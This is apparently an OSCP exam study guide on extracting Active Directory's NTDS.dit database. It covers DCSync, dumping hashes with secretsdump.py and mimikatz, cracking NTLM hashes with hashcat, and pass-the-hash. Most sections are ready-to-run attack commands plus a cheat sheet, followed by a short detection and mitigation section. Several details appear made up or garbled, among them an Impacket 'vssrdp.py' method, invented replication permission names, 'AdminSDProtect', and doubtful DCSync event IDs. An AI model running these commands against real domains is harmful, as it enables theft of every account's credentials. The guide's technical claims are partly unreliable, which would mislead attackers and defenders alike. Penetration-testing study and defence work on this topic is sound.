NTDS.dit Extraction and Parsing
1. Concept — What Is NTDS.dit?
1.1 The Active Directory Database
NTDS.dit is the core database file of Microsoft Active Directory Domain Services (AD DS). It is stored using the Extensible Storage Engine (ESE) — formerly known as the Jet Blue database engine — which is a proprietary transactional database engine developed by Microsoft.
- File location:
%SYSTEMROOT%\NTDS\ntds.dit(typicallyC:\Windows\NTDS\ntds.dit) - File format: EDB (Extensible Storage Engine Database) — a proprietary binary format, NOT a standard SQLite or SQL database
- File size: Varies dramatically depending on domain size, from tens of megabytes to several gigabytes
1.2 What Does NTDS.dit Contain?
The NTDS.dit file is essentially the “brain” of Active Directory. It stores:
| Data Type | Description | Attack Relevance |
|---|---|---|
| All domain user accounts | Every user object in the domain | Full account enumeration |
| Password hashes (NTLM) | NTLM hashes for every domain account | Offline cracking → plaintext passwords |
| LM hashes | Legacy LanMan hashes (if not disabled) | Trivially crackable for short passwords |
| Group memberships | All group objects and membership | Privilege escalation mapping |
| Computer accounts | All domain-joined machines | Lateral movement targets |
| Group Policy Objects (GPOs) | Domain-wide policy configurations | May contain embedded credentials |
| Service accounts | Accounts running services | Often have weak/static passwords |
| krbtgt account | Kerberos Key Distribution Center account | Golden Ticket attack material |
| Domain admin accounts | High-privilege accounts | Domain domination |
1.3 Why the SYSTEM Hive Is Also Required
Extracting NTDS.dit alone is not enough. The password hashes stored inside are encrypted using a key derived from the boot key, which is stored in the SYSTEM registry hive.
- SYSTEM hive location:
%SYSTEMROOT%\System32\config\SYSTEM - Purpose of SYSTEM hive: Contains the boot key (also called the machine key) used by ESE to decrypt the database contents
- Without the SYSTEM hive: You have an encrypted database you cannot parse — the hashes are unreadable
This is why every local extraction method requires both files:
NTDS.dit + SYSTEM hive → Decrypt → Parse → Extract hashes
1.4 Privileges Required
To extract NTDS.dit from a Domain Controller, you need:
- SYSTEM-level privileges on the Domain Controller
- The file is locked by the
ntdsai.dllprocess while AD DS is running, which is why special extraction techniques (VSS, NTDSUtil) are needed - Domain Admin or Enterprise Admin membership typically grants the ability to obtain SYSTEM on a DC
Key Insight: The NTDS.dit file is always locked by the Active Directory service. You cannot simply copy it like a normal file — you must use shadow copies, dedicated utilities, or replication protocols to extract it.
2. Extraction Methods
There are five primary methods to extract NTDS.dit and the associated hashes. They fall into two categories:
| Category | Methods | Requires DC Access | Requires SYSTEM |
|---|---|---|---|
| Local Extraction | VSS, NTDSUtil | Physical/Console on DC | Yes |
| Remote Extraction | Impacket secretsdump, VSSRDP, DCSync | Network access to DC | No (DCSync) / Yes (others) |
2.1 Method 1: Volume Shadow Copy (VSS)
Volume Shadow Copy Service (VSS) is a Windows feature that creates point-in-time snapshots of volumes. Attackers can leverage existing shadow copies or create new ones to access the locked NTDS.dit file.
Step-by-Step VSS Extraction
# Step 1: List existing shadow copies
vssadmin list shadows
# Step 2: If no shadow copies exist, create one
vssadmin create shadow /for=C:
# Step 3: Identify the shadow copy device path
# Output looks like: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
# Step 4: Copy NTDS.dit from the shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit
# Step 5: Copy the SYSTEM hive (REQUIRED for decryption)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# Step 6: Exfiltrate both files to your attack machine
# (Use SCP, SMB share, or other exfiltration method)
Why VSS Works
VSS creates a read-only snapshot of the volume at a specific point in time. The shadow copy contains a copy of the NTDS.dit file that is not locked by the Active Directory service, allowing you to read it freely.
VSS Limitations
- Requires SYSTEM privileges on the DC
- May be detected by EDR solutions monitoring
vssadminusage - Some environments disable VSS creation for non-administrators
- Shadow copies may be limited in number by group policy
2.2 Method 2: NTDSUtil
NTDSUtil is a built-in Windows command-line utility designed for Active Directory maintenance. Its IFM (Install From Media) mode can create a complete copy of the AD database.
Step-by-Step NTDSUtil Extraction
# On the DC itself (requires SYSTEM)
ntdsutil
# Enter the utility interactive mode
ntdsutil: ac i n
# (ac i n = activate instance ntds)
ntdsutil: ifm
# (Enter IFM mode)
ifm: create full c:\temp
# (Creates a full IFM media in c:\temp)
# This generates:
# c:\temp\NTDS.dit
# c:\temp\Scripts\
# c:\temp\SystemVolumeInformation\
ifm: q
ntdsutil: q
Why NTDSUtil Works
The IFM (Install From Media) feature was designed for creating read-only domain controllers (RODCs). It generates a consistent, complete copy of the AD database that can be transported to another machine. Attackers simply abuse this legitimate administrative feature.
NTDSUtil Advantages
- Creates a consistent copy (transactionally safe)
- No need to deal with shadow copy paths
- Built into Windows — no external tools needed
- Generates both NTDS.dit and the required registry hives automatically
2.3 Method 3: Impacket secretsdump.py (Remote)
Impacket’s secretsdump.py is the most commonly used tool for NTDS.dit extraction on OSCP exams. It can remotely extract hashes from a DC without needing to physically copy files.
Basic Remote Extraction
# Extract all hashes from the DC (uses DCSync under the hood)
secretsdump.py -just-dc CORP/Administrator@192.168.1.10
# Extract using NTLM hash (pass-the-hash)
secretsdump.py -just-dc -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10
# Save output to file for later cracking
secretsdump.py -just-dc -outputfile:hashes CORP/Administrator@192.168.1.10
Local Parsing (After Manual Extraction)
# If you already have NTDS.dit and SYSTEM files locally
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
# Output to file
secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile:hashes LOCAL
Output Format
CORP.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
CORP.local\jdoe:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
CORP.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d636906e23ee7c7f872ce4e2fa8094e5:::
Format breakdown: domain\username:RID:LM_Hash:NTLM_Hash:::
2.4 Method 4: VSSRDP (Remote Shadow Copy via RDP)
VSSRDP exploits the RDP Dynamic Virtual Channel protocol to create and access volume shadow copies remotely through an RDP session. This technique was popularized by the vssadmin abuse over RDP channels.
How VSSRDP Works
Attacker Machine Domain Controller
| |
|------ RDP Session --------->|------|
| | |
|<-- Dynamic Virtual Channel --|------|
| | |
|--- VSS Create Shadow ----->|------|
| | Creates shadow copy
| | Copies NTDS.dit + SYSTEM
|<-- File Data --------------|------|
Using VSSRDP
# Using the vssrdp.py script from Impacket
vssrdp.py CORP/user:password@192.168.1.10
# This creates a shadow copy via RDP and downloads:
# - NTDS.dit
# - SYSTEM hive
VSSRDP Advantages
- Works over standard RDP (port 3389)
- Does not require SMB access to the DC
- Bypasses some network segmentation controls
- Useful when DC has restricted SMB but allows RDP
VSSRDP Limitations
- Requires valid credentials with RDP access
- Requires sufficient privileges to create shadow copies
- May be blocked by RDP security configurations
- More complex setup than secretsdump
2.5 Method 5: DCSync (Deep Dive)
DCSync is arguably the most powerful and stealthy technique for extracting AD hashes. It does NOT touch the NTDS.dit file at all. Instead, it tricks the DC into replicating password data to the attacker.
How DCSync Works
DCSync abuses the Directory Replication Service Remote Protocol (MS-DRSR), which is the legitimate protocol Domain Controllers use to replicate AD data between each other.
Normal DC Replication: DCSync Attack:
┌──────────┐ ┌──────────┐
│ DC-1 │ DRSUAPI Replication │ DC-1 │
│ (Master) │<=====================>│ (Target) │
└──────────┘ └──────────┘
│ │
│ Legitimate RODC/DC │ Attacker pretends to be
│ requesting replication │ a new DC asking for data
│ │
┌──────────┐ ┌──────────┐
│ DC-2 │ │ ATTACKER│
│ (RODC) │ │ (DCSync)│
└──────────┘ └──────────┘
The attack flow:
- Attacker authenticates to the target DC using a privileged account
- Attacker’s tool calls DRSUAPI functions (
DsGetNCChanges,DsReplicate) - The DC believes the attacker is a new Domain Controller requesting replication data
- The DC sends back all the replication data, including NTLM hashes
- Attacker receives hashes without ever touching NTDS.dit
DCSync via Mimikatz
# Extract hash for a specific user
mimikatz # lsadump::dcsync /user:CORP\Administrator /domain:CORP.local
# Extract krbtgt hash (for Golden Ticket)
mimikatz # lsadump::dcsync /user:CORP\krbtgt /domain:CORP.local
# Extract all users (iterate through RIDs)
mimikatz # lsadump::dcsync /domain:CORP.local /all /csv
DCSync via Impacket secretsdump.py
# Extract NTLM hashes for all domain accounts
secretsdump.py -just-dc-ntlm CORP/Administrator@192.168.1.10
# Extract all secrets (NTLM + AES keys)
secretsdump.py -just-dc CORP/Administrator@192.168.1.10
# Using hash instead of password
secretsdump.py -just-dc -hashes :5835048ce94ad0564e29a924a03510ef CORP/Administrator@192.168.1.10
Privileges Required for DCSync
DCSync does NOT require SYSTEM on the DC. Instead, it requires one of these AD permissions:
| Permission | How to Obtain | Scope |
|---|---|---|
| Replicating Directory User | Default for Domain Admins, Enterprise Admins, Domain Controllers | Can replicate any user’s data |
| Replicating Directory Topology | Default for Domain Admins, Domain Controllers | Can replicate topology + user data |
| Read-Only Replication | RODC setup grants this | Limited replication rights |
Critical Insight: Any account that is a member of Domain Admins, Enterprise Admins, Account Operators, or Backup Operators (with additional steps) can perform DCSync. This is why compromising a Domain Admin account is so devastating — it immediately enables DCSync against the entire domain.
Why DCSync Is Preferred
- No file extraction needed — hashes come over the network protocol
- No SYSTEM required on DC — just network access + privileged credentials
- Stealthy — looks like normal AD replication traffic
- Selective — can target specific accounts without dumping everything
- No artifacts on DC — no copied files, no shadow copies created
3. Parsing NTDS.dit
When you have physically extracted NTDS.dit and the SYSTEM hive, you need to parse them to extract the hashes.
3.1 Using Impacket secretsdump.py (Recommended)
# Parse locally extracted files
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
# Save to file
secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile:hashes LOCAL
# This generates:
# hashes.ntds — NTDS hash entries
# hashes.secrets — Machine account secrets
# hashes.lsa — LSA secrets
3.2 Understanding the Output Format
CORP.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
| Field | Value | Description |
|---|---|---|
| Domain\Username | CORP.local\Administrator |
Account identifier |
| RID | 500 |
Relative Identifier (built-in admin = 500) |
| LM Hash | aad3b435b51404eeaad3b435b51404ee |
LanMan hash (disabled = this constant value) |
| NTLM Hash | 5835048ce94ad0564e29a924a03510ef |
The hash you want to crack |
| Remaining | ::: |
Reserved fields |
Note: The LM hash
aad3b435b51404eeaad3b435b51404eeindicates LM hashing is disabled (default since Windows Vista/Server 2008). This is a null/empty LM hash marker.
3.3 Converting to Hashcat Format
The secretsdump output is already in a format Hashcat can consume. However, you may need to strip the domain prefix:
# The output is directly usable by hashcat mode 1000
# Format: username:rid:lm:ntlm:::
# Hashcat accepts this format natively for mode 1000
# If you need clean NTLM-only hashes:
grep -v 'aad3b435b51404eeaad3b435b51404ee:aad3b435b51404eeaad3b435b51404ee' hashes.ntds > ntlm_only.txt
4. Cracking NTDS Hashes
4.1 Hashcat — Mode 1000 (NTLM)
# Basic attack with wordlist
hashcat -m 1000 -a 0 ntds_hashes.txt rockyou.txt
# With rule-based mutation (recommended)
hashcat -m 1000 -a 0 ntds_hashes.txt rockyou.txt -r rules/best64.rule
# Multiple rule files for coverage
hashcat -m 1000 -a 0 ntds_hashes.txt rockyou.txt -r rules/best64.rule -r rules/one337.rule
# Remove already cracked hashes from input
hashcat -m 1000 -a 0 --remove ntds_hashes.txt rockyou.txt
# Show cracked passwords
hashcat -m 1000 -a 0 --show ntds_hashes.txt rockyou.txt
4.2 John the Ripper Alternative
# NTLM mode
john --format=nt ntds_hashes.txt --wordlist=rockyou.txt
# Show cracked passwords
john --show ntds_hashes.txt
4.3 Strategy for Large Hash Dumps
When dealing with hundreds or thousands of hashes:
| Strategy | Command | Purpose |
|---|---|---|
| Quick win | hashcat -m 1000 hashes.txt rockyou.txt |
Catch common passwords first |
| Rule-based | hashcat -m 1000 hashes.txt rockyou.txt -r best64.rule |
Catch mutated common passwords |
| Remove cracked | hashcat -m 1000 --remove hashes.txt rockyou.txt |
Focus on remaining hashes |
| Mask attack | hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d |
Target specific password patterns |
| Markov | hashcat -m 1000 hashes.txt -O -j -k |
Use Markov chain optimization |
| GPU optimization | hashcat -m 1000 hashes.txt wordlist.txt -O -w 3 |
Maximize GPU throughput |
4.4 Prioritizing Targets
Not all hashes are equally valuable. Prioritize cracking in this order:
- krbtgt — Enables Golden Ticket attack (total domain compromise)
- Domain Admins — Immediate domain control
- Enterprise Admins — Forest-wide control
- Service accounts — Often have weak passwords, useful for lateral movement
- Regular users — May lead to privilege escalation paths
5. DCSync Deep Dive
5.1 The DS-Replication Protocol
DCSync exploits the MS-DRSR (Directory Replication Service Remote) protocol. This is the same protocol that:
- New Domain Controllers use during initial replication
- RODCs use to request password data
- DCs use for inter-DC synchronization
5.2 DC Simulator Concept
When you run DCSync, your tool acts as a DC Simulator — it pretends to be a new Domain Controller joining the domain:
Step 1: Attacker authenticates with privileged credentials
Step 2: Tool calls DsBind() — binds to DRS service
Step 3: Tool calls DsGetNCChanges() — requests naming context changes
Step 4: DC responds with replicated data including password hashes
Step 5: Tool extracts NTLM hashes from the replication stream
5.3 Why DCSync Doesn’t Need SYSTEM on DC
Traditional extraction (VSS, NTDSUtil) requires SYSTEM because:
- NTDS.dit is a locked file on disk
- Only SYSTEM can access it through shadow copies
DCSync bypasses this entirely because:
- It uses the network protocol (DRSUAPI over RPC)
- The DC voluntarily sends the data
- No file access on the DC is needed
- Only requires appropriate AD replication permissions
5.4 Required AD Permissions
| Permission | Default Groups | What It Allows |
|---|---|---|
DS-Replication-Get-Changes |
Domain Admins, Enterprise Admins, DCs | Replicate any object |
DS-Replication-Get-Changes-All |
Domain Admins, Enterprise Admins, DCs | Replicate all objects including passwords |
DS-Replication-Get-Changes-In-Filtered-Set |
RODCs | Limited replication (filtered set) |
Exam Tip: If you find an account that has been granted
DS-Replication-Get-Changes-All(even if it’s not a Domain Admin), you can run DCSync with that account. This is a common misconfiguration to look for.
6. Attack Workflow
6.1 Complete Attack Chain
flowchart TD
A[Gain Access to Network] --> B{Target Assessment}
B -->|Have DC Credentials| C[Remote Extraction Path]
B -->|Have SYSTEM on DC| D[Local Extraction Path]
C --> C1{Choose Method}
C1 -->|Best Option| C2[DCSync via secretsdump.py]
C1 -->|Alternative| C3[VSSRDP Remote Shadow Copy]
C1 -->|Mimikatz| C4[lsadump::dcsync]
D --> D1{Choose Method}
D1 -->|Shadow Copy| D2[vssadmin + copy]
D1 -->|Built-in Tool| D3[NTDSUtil IFM]
C2 --> E[Hashes Extracted Remotely]
C3 --> F[NTDS.dit + SYSTEM Downloaded]
C4 --> E
D2 --> F
D3 --> G[Full IFM Media Created]
F --> H[Parse with secretsdump.py]
G --> H
E --> I[Hashes Ready]
H --> I
I --> J[Hashcat Mode 1000 Cracking]
J --> K{Cracked?}
K -->|Yes| L[Plaintext Passwords]
K -->|No| M[Pass-the-Hash with NTLM]
L --> N[Full Domain Compromise]
M --> N
N --> O[Post-Exploitation]
O --> O1[Golden Ticket with krbtgt]
O --> O2[Lateral Movement]
O --> O3[Persistence]
6.2 Quick Reference: Command Cheat Sheet
# ===== REMOTE EXTRACTION (Preferred) =====
# DCSync — all hashes
secretsdump.py -just-dc CORP/Administrator@10.10.10.10
# DCSync — NTLM only
secretsdump.py -just-dc-ntlm CORP/Administrator@10.10.10.10
# DCSync — with hash (no password needed)
secretsdump.py -just-dc -hashes :NTLM_HASH CORP/Administrator@10.10.10.10
# DCSync — save to file
secretsdump.py -just-dc -outputfile:hashes CORP/Administrator@10.10.10.10
# ===== LOCAL EXTRACTION =====
# VSS Method (on DC)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
# NTDSUtil Method (on DC)
ntdsutil -> ac i n -> ifm -> create full c:\temp -> q -> q
# Parse extracted files
secretsdump.py -ntds ntds.dit -system SYSTEM -outputfile:hashes LOCAL
# ===== MIMIKATZ DCSYNC =====
mimikatz # lsadump::dcsync /user:CORP\Administrator /domain:CORP.local
mimikatz # lsadump::dcsync /user:CORP\krbtgt /domain:CORP.local
# ===== CRACKING =====
hashcat -m 1000 -a 0 hashes.ntds rockyou.txt -r rules/best64.rule
7. Defense and Detection
7.1 Detection Indicators
| Method | Detection Signal | Where to Look |
|---|---|---|
| VSS | vssadmin create shadow execution |
Sysmon Event ID 1 (Process Creation), PowerShell logs |
| NTDSUtil | ntdsutil.exe with IFM arguments |
Sysmon Event ID 1, Windows Security logs |
| DCSync | DRSUAPI calls from non-DC machines | Event ID 1545 (DS Access), Event ID 1561 (DRS Get Changes) |
| secretsdump | SMB/RPC connections from attacker IP | Firewall logs, NetFlow, Event ID 4624 (Logon) |
| VSSRDP | RDP dynamic channel shadow copy ops | RDP logs, Event ID 1545 |
7.2 Key Windows Event IDs for DCSync Detection
| Event ID | Description | Significance |
|---|---|---|
| 1545 | Directory Service Access | User performed replication operation |
| 1561 | Directory Service Replication | DRS Get Changes call made |
| 4662 | Object Access | Access to AD object with replication rights |
| 4624 | Successful Logon | Logon from unusual source to DC |
| 4672 | Special Privileges Assigned | SYSTEM/admin privileges acquired |
7.3 Mitigation Strategies
| Control | Description | Effectiveness |
|---|---|---|
| Admin SD Protection | Protects sensitive groups from unauthorized changes | Medium |
| Privileged Access Workstations (PAW) | Isolated workstations for admin tasks | High |
| Monitor DRSUAPI from non-DCs | Alert on replication from unusual sources | High |
| Restrict Domain Admin logons | Limit where DA accounts can authenticate | High |
| LSA Protection / Credential Guard | Protects credentials in memory | Medium (not anti-DCSync) |
| Azure AD PIM | Just-in-time privileged access | High |
| Reduce Domain Admin membership | Minimize accounts with DCSync rights | High |
7.4 The AdminSDProtect Limitation
AdminSDProtect protects sensitive groups (Domain Admins, etc.) from unauthorized ACL modifications. However:
- It does NOT prevent DCSync — DCSync rights come from group membership, not object ACLs
- It does NOT protect against VSS or NTDSUtil extraction
- It is effective against ACL-based attacks (like ACL abuse, ACE injection)
8. OSCP Exam Tips
8.1 Most Likely Exam Scenario
On the OSCP exam, the most common NTDS.dit-related scenario is:
- You compromise a machine with Domain Admin credentials (or obtain them)
- You use
secretsdump.py -just-dcto extract hashes from the DC - You crack the hashes with Hashcat
- You use cracked passwords or pass-the-hash to access other machines
8.2 Essential Commands to Memorize
# This is THE command you need to know for the exam
secretsdump.py -just-dc DOMAIN/Username@DC_IP
# If you only have a hash (no password)
secretsdump.py -just-dc -hashes :HASH DOMAIN/Username@DC_IP
# If you need to extract krbtgt specifically
secretsdump.py -just-dc-user 'krbtgt' DOMAIN/Username@DC_IP
8.3 Common Pitfalls
| Pitfall | Solution |
|---|---|
| Forgetting the domain prefix | Always use DOMAIN/Username@IP format |
| Using wrong hash format | NTLM hash goes after : in -hashes :ntlm |
| Trying to crack LM hashes | Skip aad3b435b51404eeaad3b435b51404ee — it means LM is disabled |
| Not checking for krbtgt | Always extract krbtgt — it enables Golden Ticket |
| Forgetting the SYSTEM hive | NTDS.dit alone is useless without SYSTEM for decryption |
8.4 When to Use Which Method
| Situation | Best Method |
|---|---|
| You have Domain Admin credentials + network access to DC | secretsdump.py -just-dc (DCSync) |
| You have SYSTEM shell on the DC | NTDSUtil IFM or VSS |
| DC blocks SMB but allows RDP | VSSRDP |
| You need a specific user’s hash | Mimikatz lsadump::dcsync /user:target |
| You have the NTDS.dit file locally | secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL |
8.5 Time-Saving Tips
- Always extract krbtgt first — if you crack it, Golden Ticket = instant root
- Use
--removeflag in Hashcat — avoids re-cracking already solved hashes - Start with
rockyou.txt— covers the majority of exam passwords - Pass-the-hash is faster than cracking — if you just need to move laterally, use the NTLM hash directly with
psexec.pyorwmiexec.py - Check for AES keys too —
secretsdump.py -just-dcextracts AES keys which work for Kerberoasting and other Kerberos attacks
9. Summary Table
| Aspect | Details |
|---|---|
| Target File | %SYSTEMROOT%\NTDS\ntds.dit |
| Required Companion | %SYSTEMROOT%\System32\config\SYSTEM |
| Database Engine | Extensible Storage Engine (ESE/Jet Blue) |
| Contains | All domain accounts, NTLM hashes, groups, GPOs, computer accounts |
| Privilege Needed (Local) | SYSTEM on Domain Controller |
| Privilege Needed (DCSync) | Replicating Directory User/Read-Only Replication AD rights |
| Best Remote Tool | secretsdump.py -just-dc |
| Best Local Tool | NTDSUtil IFM or VSS |
| Hashcat Mode | 1000 (NTLM) |
| Output Format | username:rid:lm:ntlm::: |
| Most Valuable Hash | krbtgt (enables Golden Ticket) |
| Detection Event IDs | 1545, 1561, 4662, 4624 |